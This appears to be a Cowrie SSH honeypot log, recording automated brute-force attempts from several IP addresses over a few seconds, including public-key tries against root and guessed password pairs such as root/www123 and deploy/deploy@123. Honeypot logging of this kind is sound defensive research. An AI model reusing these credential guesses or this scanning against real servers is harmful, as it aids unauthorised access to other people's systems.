{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"48:ba:90:f4:c9:2b:46:56:8d:3f:b8:2c:02:b2:a1:a7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCw/x7zNMBlvhhIzO7Xrt3tLetC61eTOWbYAC8PSSzeRB+pO9sQ0mfxNOlehkIAvTQNYnwwJnxib7dSpEK8TH8lXThnxGH/lJ4WMWTbUiFriUyy/1Z1tAJBlwK1ORjKG+6llfx2xXIlUnaYryomncy/DmljJBk4OgKgu2eg1YLo000hMndNP3E+ChOd4BcrH/B2+KINmxh8M6tV1ivQrt7c0NPO/2fQJA2K2Dkkc/Da68u6m00113RMpW0LF61jCL1T8wxiiEAnxKVYrZSu+gWf4s7cSGGvXgz2q+Hs3EUXLIuhEmk9fvZ2QdjFNKzJ08ScDMmlwEUmIzlNB85G1gain0wO0WGPV+EoCnHACWnU7vZ5WQIqIyzP1O44rOO1xt5CseVrGYr38if+IUz2utEWiBHC0sxF/S+zew7E3z6aZzYF9/EQZrRlBIrmhB9SUJNPhAfhPti8wf25XuFkQucR2cJh+1mbf4R6STRZ47TXGCKWnTfEDpmpV74yY8FkMY68CzjmAHAQhIywS2qBZyGzSldGG8v3P6B+2IInwqmwCksVPrPiknDDnSeK5Q23qLl6YaiZpByv1txF+jly2F0RxwzhjASYbuvt+Bd2ivHvX8E1PH4pva/zT4kokjRlRYqICNtYttZR8fbg4fcwCa523AbanS51+HuCaZYdYurBmw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 48:ba:90:f4:c9:2b:46:56:8d:3f:b8:2c:02:b2:a1:a7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:44:45.856510Z","src_ip":"160.238.24.130","session":"0c68d95a1c38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"48:ba:90:f4:c9:2b:46:56:8d:3f:b8:2c:02:b2:a1:a7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCw/x7zNMBlvhhIzO7Xrt3tLetC61eTOWbYAC8PSSzeRB+pO9sQ0mfxNOlehkIAvTQNYnwwJnxib7dSpEK8TH8lXThnxGH/lJ4WMWTbUiFriUyy/1Z1tAJBlwK1ORjKG+6llfx2xXIlUnaYryomncy/DmljJBk4OgKgu2eg1YLo000hMndNP3E+ChOd4BcrH/B2+KINmxh8M6tV1ivQrt7c0NPO/2fQJA2K2Dkkc/Da68u6m00113RMpW0LF61jCL1T8wxiiEAnxKVYrZSu+gWf4s7cSGGvXgz2q+Hs3EUXLIuhEmk9fvZ2QdjFNKzJ08ScDMmlwEUmIzlNB85G1gain0wO0WGPV+EoCnHACWnU7vZ5WQIqIyzP1O44rOO1xt5CseVrGYr38if+IUz2utEWiBHC0sxF/S+zew7E3z6aZzYF9/EQZrRlBIrmhB9SUJNPhAfhPti8wf25XuFkQucR2cJh+1mbf4R6STRZ47TXGCKWnTfEDpmpV74yY8FkMY68CzjmAHAQhIywS2qBZyGzSldGG8v3P6B+2IInwqmwCksVPrPiknDDnSeK5Q23qLl6YaiZpByv1txF+jly2F0RxwzhjASYbuvt+Bd2ivHvX8E1PH4pva/zT4kokjRlRYqICNtYttZR8fbg4fcwCa523AbanS51+HuCaZYdYurBmw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:44:45.861096Z","src_ip":"160.238.24.130","session":"0c68d95a1c38","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"28:2c:d6:9b:4e:51:8e:c6:80:c4:fa:45:7f:39:47:7d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC0Z7YDnbMbkdNYqCU+fdKrc2oWlEJ4V+YBdNAT9kOOHJbSQpJKYgtrP9noADTTJi3SfuRVjVGL424l7MR/CgPbna1rwEP7KwcUwAPksO7Vitp3slt8UcTgaHi7lEmVXHtRVUdrnmRC5+4ERxkc/UyNseo0mzgglY+BS6J5t+8gyqgEwetf2Qo99qnaFP1zZ/bieINAxuzMy1+yVfHGTZLhGi8q9ivCBVY/ETnaN86/5cDIVMzoMlL+mThYVxOkPeLzuPySIGtAZK6mYq2f899DMWsXdxZVbzUep+OFUfruTABiFdEddE6fUyVqB3f8vXLjXUJwWDDHo/CFmPmnKhZRUkyVIAD0rhvRiY93ZfnvNo+Ml7mBpmc8QBmSpwmvtfjI470ao8b/ubNoLS5HfCyPNftUVS/1Gv3HzsDlvA9fuuTHli8CI33u7IuGB9ZbakZ5XMVK0YcA9plaYgfDJWOYvzfHend1ZenPfC2jFmFyyu45Ct0wbW9RacFaDIeX1gMiDJiK9a9Yyj5z9z8bOB4qfaHG8IWg7QpS8it39dVFaC1DEKTiP27jdEQboKuzvbd7NAmerqvJKByW6jM/bLJFpD6VZJ96uH7rbpa23Fs0gSp61L0pHfkMXolElYrLW9AuEzsLyj75wDSJtSkr4Zqoh5Q6nkOwXLCyW37zn60+cQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 28:2c:d6:9b:4e:51:8e:c6:80:c4:fa:45:7f:39:47:7d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:44:45.992964Z","src_ip":"160.238.24.130","session":"0c68d95a1c38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"28:2c:d6:9b:4e:51:8e:c6:80:c4:fa:45:7f:39:47:7d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC0Z7YDnbMbkdNYqCU+fdKrc2oWlEJ4V+YBdNAT9kOOHJbSQpJKYgtrP9noADTTJi3SfuRVjVGL424l7MR/CgPbna1rwEP7KwcUwAPksO7Vitp3slt8UcTgaHi7lEmVXHtRVUdrnmRC5+4ERxkc/UyNseo0mzgglY+BS6J5t+8gyqgEwetf2Qo99qnaFP1zZ/bieINAxuzMy1+yVfHGTZLhGi8q9ivCBVY/ETnaN86/5cDIVMzoMlL+mThYVxOkPeLzuPySIGtAZK6mYq2f899DMWsXdxZVbzUep+OFUfruTABiFdEddE6fUyVqB3f8vXLjXUJwWDDHo/CFmPmnKhZRUkyVIAD0rhvRiY93ZfnvNo+Ml7mBpmc8QBmSpwmvtfjI470ao8b/ubNoLS5HfCyPNftUVS/1Gv3HzsDlvA9fuuTHli8CI33u7IuGB9ZbakZ5XMVK0YcA9plaYgfDJWOYvzfHend1ZenPfC2jFmFyyu45Ct0wbW9RacFaDIeX1gMiDJiK9a9Yyj5z9z8bOB4qfaHG8IWg7QpS8it39dVFaC1DEKTiP27jdEQboKuzvbd7NAmerqvJKByW6jM/bLJFpD6VZJ96uH7rbpa23Fs0gSp61L0pHfkMXolElYrLW9AuEzsLyj75wDSJtSkr4Zqoh5Q6nkOwXLCyW37zn60+cQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:44:45.997282Z","src_ip":"160.238.24.130","session":"0c68d95a1c38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":48694,"dst_ip":"10.17.0.5","dst_port":22,"session":"e30241a46637","protocol":"ssh","message":"New connection: 103.27.238.120:48694 (10.17.0.5:22) [session: e30241a46637]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:44:46.075436Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:44:46.083330Z","src_ip":"103.27.238.120","session":"e30241a46637","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"52:71:ed:5d:f3:b1:28:13:cb:6a:bc:1a:5d:58:cc:8c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDQK9/qC5yE8pBcrq0WCWbKFZUMicBZo1+eYvUNhA/VE7DRKLLadYz+MIgsgvrFZPOTi2BGQS+WSDTq6gIC0ogXbGLmZYnqqGAl3T/MRqIe9d8QQiCnFf5mCoYdcc6iEDznDP304THu/UFZMBLRG/kdWjMS1Yocs8X0obJAMBiCgpomon28ujq+AYD7bDfkMJs6UbrwFvq65MEnc2y3S3oQ+b58ykbEUxZOP6s8Bjw36abl9yJZXPxdznp5Ee2yol8fqY3LhVwlcBQeWK5P5JrPiNGVXpXrkLcwnV5yapOLMZeKZC5YtGD75kzZSOdu+KWSNLlg6ju5czW97Ievoo/h1bT7U7HdXiDb6LBWYtrk8Sr+klzNwp4170uBF7przTSvPatHJXUQrImsigTt7fMRWFaJAuAzoRJq8XXazOOlV6S2Tst2XiM0k2k9jIsnZ8b6VtryTpmbJOZpQshqQrmOGhLktWL9ZlvWG8OAccrfRxHS8I8jKuE9JPTAqJCfkWhif5DthfBP9kMID+EoIi42MpDgBmSsKTTwmC+bvAqNt/bWUjYsUOX5XvJYhbaIhqBi8lhed9JflV9zNmOMuZ5uFclPjww4rn0qI/HnN2FrUbuzHzYDFisTMGczlFr3j6EA2+akKaudQ3OAe1f8ER35sc6kvIgJ0EcsaOH4eKsmow==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 52:71:ed:5d:f3:b1:28:13:cb:6a:bc:1a:5d:58:cc:8c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:44:46.127516Z","src_ip":"160.238.24.130","session":"0c68d95a1c38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"52:71:ed:5d:f3:b1:28:13:cb:6a:bc:1a:5d:58:cc:8c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDQK9/qC5yE8pBcrq0WCWbKFZUMicBZo1+eYvUNhA/VE7DRKLLadYz+MIgsgvrFZPOTi2BGQS+WSDTq6gIC0ogXbGLmZYnqqGAl3T/MRqIe9d8QQiCnFf5mCoYdcc6iEDznDP304THu/UFZMBLRG/kdWjMS1Yocs8X0obJAMBiCgpomon28ujq+AYD7bDfkMJs6UbrwFvq65MEnc2y3S3oQ+b58ykbEUxZOP6s8Bjw36abl9yJZXPxdznp5Ee2yol8fqY3LhVwlcBQeWK5P5JrPiNGVXpXrkLcwnV5yapOLMZeKZC5YtGD75kzZSOdu+KWSNLlg6ju5czW97Ievoo/h1bT7U7HdXiDb6LBWYtrk8Sr+klzNwp4170uBF7przTSvPatHJXUQrImsigTt7fMRWFaJAuAzoRJq8XXazOOlV6S2Tst2XiM0k2k9jIsnZ8b6VtryTpmbJOZpQshqQrmOGhLktWL9ZlvWG8OAccrfRxHS8I8jKuE9JPTAqJCfkWhif5DthfBP9kMID+EoIi42MpDgBmSsKTTwmC+bvAqNt/bWUjYsUOX5XvJYhbaIhqBi8lhed9JflV9zNmOMuZ5uFclPjww4rn0qI/HnN2FrUbuzHzYDFisTMGczlFr3j6EA2+akKaudQ3OAe1f8ER35sc6kvIgJ0EcsaOH4eKsmow==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:44:46.131563Z","src_ip":"160.238.24.130","session":"0c68d95a1c38","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fd:54:1f:15:06:42:53:d8:f6:12:c0:3e:75:cc:a9:cf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDFqzot6To9q80ITjE+Lqv+H2A+vgjPEXejsoRLuomFsTBcsxL8h/HvdW6YEi4iBpbaBIvcPiP+h6AafRtcsflLyni+RIu7+qHEqpo2kcxHh2i3GSg8h0651TyKDwdMwT0KMwFdsQbKrAdwL/s4QuzChxlD8MLwwvjh77TOzdYeKonOi3DDifTQ79H886BgbLbTuro/Vq8HpP26uK0gnrY0VH2VMygFJpgOdMEV9UOBFTkatqyjQ/aL5ou5fcHbSvsraC3i7hOR7qs3+5p+9NMhnSMI0+f/KWChXv10LILvsS6ag2ZAUhpLKWxa97wXXQsSKfBIkrjeYnATdFl/0BrCh3MWKlE/3uH51ODqw6TaW705p9doQtgQAzZ01P9GI6mEpWIzmTt/2NooYAaCBUcTzsWBLzb7XmqxeoWNJ6z9Gu1BNqamSaBoB5+NyrVdtpm3LKg8BIykVG4nNrsOY6TNj+MabeGNC1pU5XGa4/6jHQ9Rrkxhr85/MMdRP3n1l80CJ2EWQmBbDxN4B1iuZzzj49r5v6pDiVxJaxfUKTfmTszXhtNh3FmTx7j/CGKl0hdjMM5ZAcAdXxhSvwjOzX8++PtqMq9kfupwpT58vBNRUxTJ02C6BHLSYsMUrh9Bpc0rfjZVlUDMdixRAydPjyTSRqEtqmAGJCKLMS7A2gxu1Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fd:54:1f:15:06:42:53:d8:f6:12:c0:3e:75:cc:a9:cf","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:44:46.260838Z","src_ip":"160.238.24.130","session":"0c68d95a1c38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fd:54:1f:15:06:42:53:d8:f6:12:c0:3e:75:cc:a9:cf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDFqzot6To9q80ITjE+Lqv+H2A+vgjPEXejsoRLuomFsTBcsxL8h/HvdW6YEi4iBpbaBIvcPiP+h6AafRtcsflLyni+RIu7+qHEqpo2kcxHh2i3GSg8h0651TyKDwdMwT0KMwFdsQbKrAdwL/s4QuzChxlD8MLwwvjh77TOzdYeKonOi3DDifTQ79H886BgbLbTuro/Vq8HpP26uK0gnrY0VH2VMygFJpgOdMEV9UOBFTkatqyjQ/aL5ou5fcHbSvsraC3i7hOR7qs3+5p+9NMhnSMI0+f/KWChXv10LILvsS6ag2ZAUhpLKWxa97wXXQsSKfBIkrjeYnATdFl/0BrCh3MWKlE/3uH51ODqw6TaW705p9doQtgQAzZ01P9GI6mEpWIzmTt/2NooYAaCBUcTzsWBLzb7XmqxeoWNJ6z9Gu1BNqamSaBoB5+NyrVdtpm3LKg8BIykVG4nNrsOY6TNj+MabeGNC1pU5XGa4/6jHQ9Rrkxhr85/MMdRP3n1l80CJ2EWQmBbDxN4B1iuZzzj49r5v6pDiVxJaxfUKTfmTszXhtNh3FmTx7j/CGKl0hdjMM5ZAcAdXxhSvwjOzX8++PtqMq9kfupwpT58vBNRUxTJ02C6BHLSYsMUrh9Bpc0rfjZVlUDMdixRAydPjyTSRqEtqmAGJCKLMS7A2gxu1Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:44:46.264472Z","src_ip":"160.238.24.130","session":"0c68d95a1c38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:44:46.355349Z","src_ip":"103.27.238.120","session":"e30241a46637","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:44:46.392664Z","src_ip":"160.238.24.130","session":"0c68d95a1c38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:44:46.585303Z","src_ip":"83.168.110.85","session":"c1d9f37becda","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":58184,"dst_ip":"10.17.0.5","dst_port":22,"session":"4f56e3b61f63","protocol":"ssh","message":"New connection: 185.236.22.41:58184 (10.17.0.5:22) [session: 4f56e3b61f63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:44:46.983181Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:44:46.987970Z","src_ip":"185.236.22.41","session":"4f56e3b61f63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:44:47.099828Z","src_ip":"185.236.22.41","session":"4f56e3b61f63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"www123","message":"login attempt [root/www123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:44:47.173585Z","src_ip":"103.27.238.120","session":"e30241a46637","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"agent007","message":"login attempt [root/agent007] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:44:47.432410Z","src_ip":"185.236.22.41","session":"4f56e3b61f63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:44:48.447915Z","src_ip":"103.27.238.120","session":"e30241a46637","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:44:48.544393Z","src_ip":"185.236.22.41","session":"4f56e3b61f63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":56802,"dst_ip":"159.203.135.109","dst_port":22,"session":"8d8b3f7d6758","protocol":"ssh","message":"New connection: 83.168.110.85:56802 (159.203.135.109:22) [session: 8d8b3f7d6758]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:44:55.164115Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:44:55.170570Z","src_ip":"83.168.110.85","session":"8d8b3f7d6758","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:44:55.292584Z","src_ip":"83.168.110.85","session":"8d8b3f7d6758","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy@123","message":"login attempt [deploy/deploy@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:44:55.656598Z","src_ip":"83.168.110.85","session":"8d8b3f7d6758","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:44:56.826209Z","src_ip":"83.168.110.85","session":"8d8b3f7d6758","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":58772,"dst_ip":"159.203.135.109","dst_port":22,"session":"2b8fb7c0bdb8","protocol":"ssh","message":"New connection: 83.168.110.85:58772 (159.203.135.109:22) [session: 2b8fb7c0bdb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:45:05.733922Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:45:05.744365Z","src_ip":"83.168.110.85","session":"2b8fb7c0bdb8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:45:05.866408Z","src_ip":"83.168.110.85","session":"2b8fb7c0bdb8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"factorio","password":"factorio","message":"login attempt [factorio/factorio] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:45:06.233318Z","src_ip":"83.168.110.85","session":"2b8fb7c0bdb8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:45:07.470902Z","src_ip":"83.168.110.85","session":"2b8fb7c0bdb8","protocol":"ssh"}
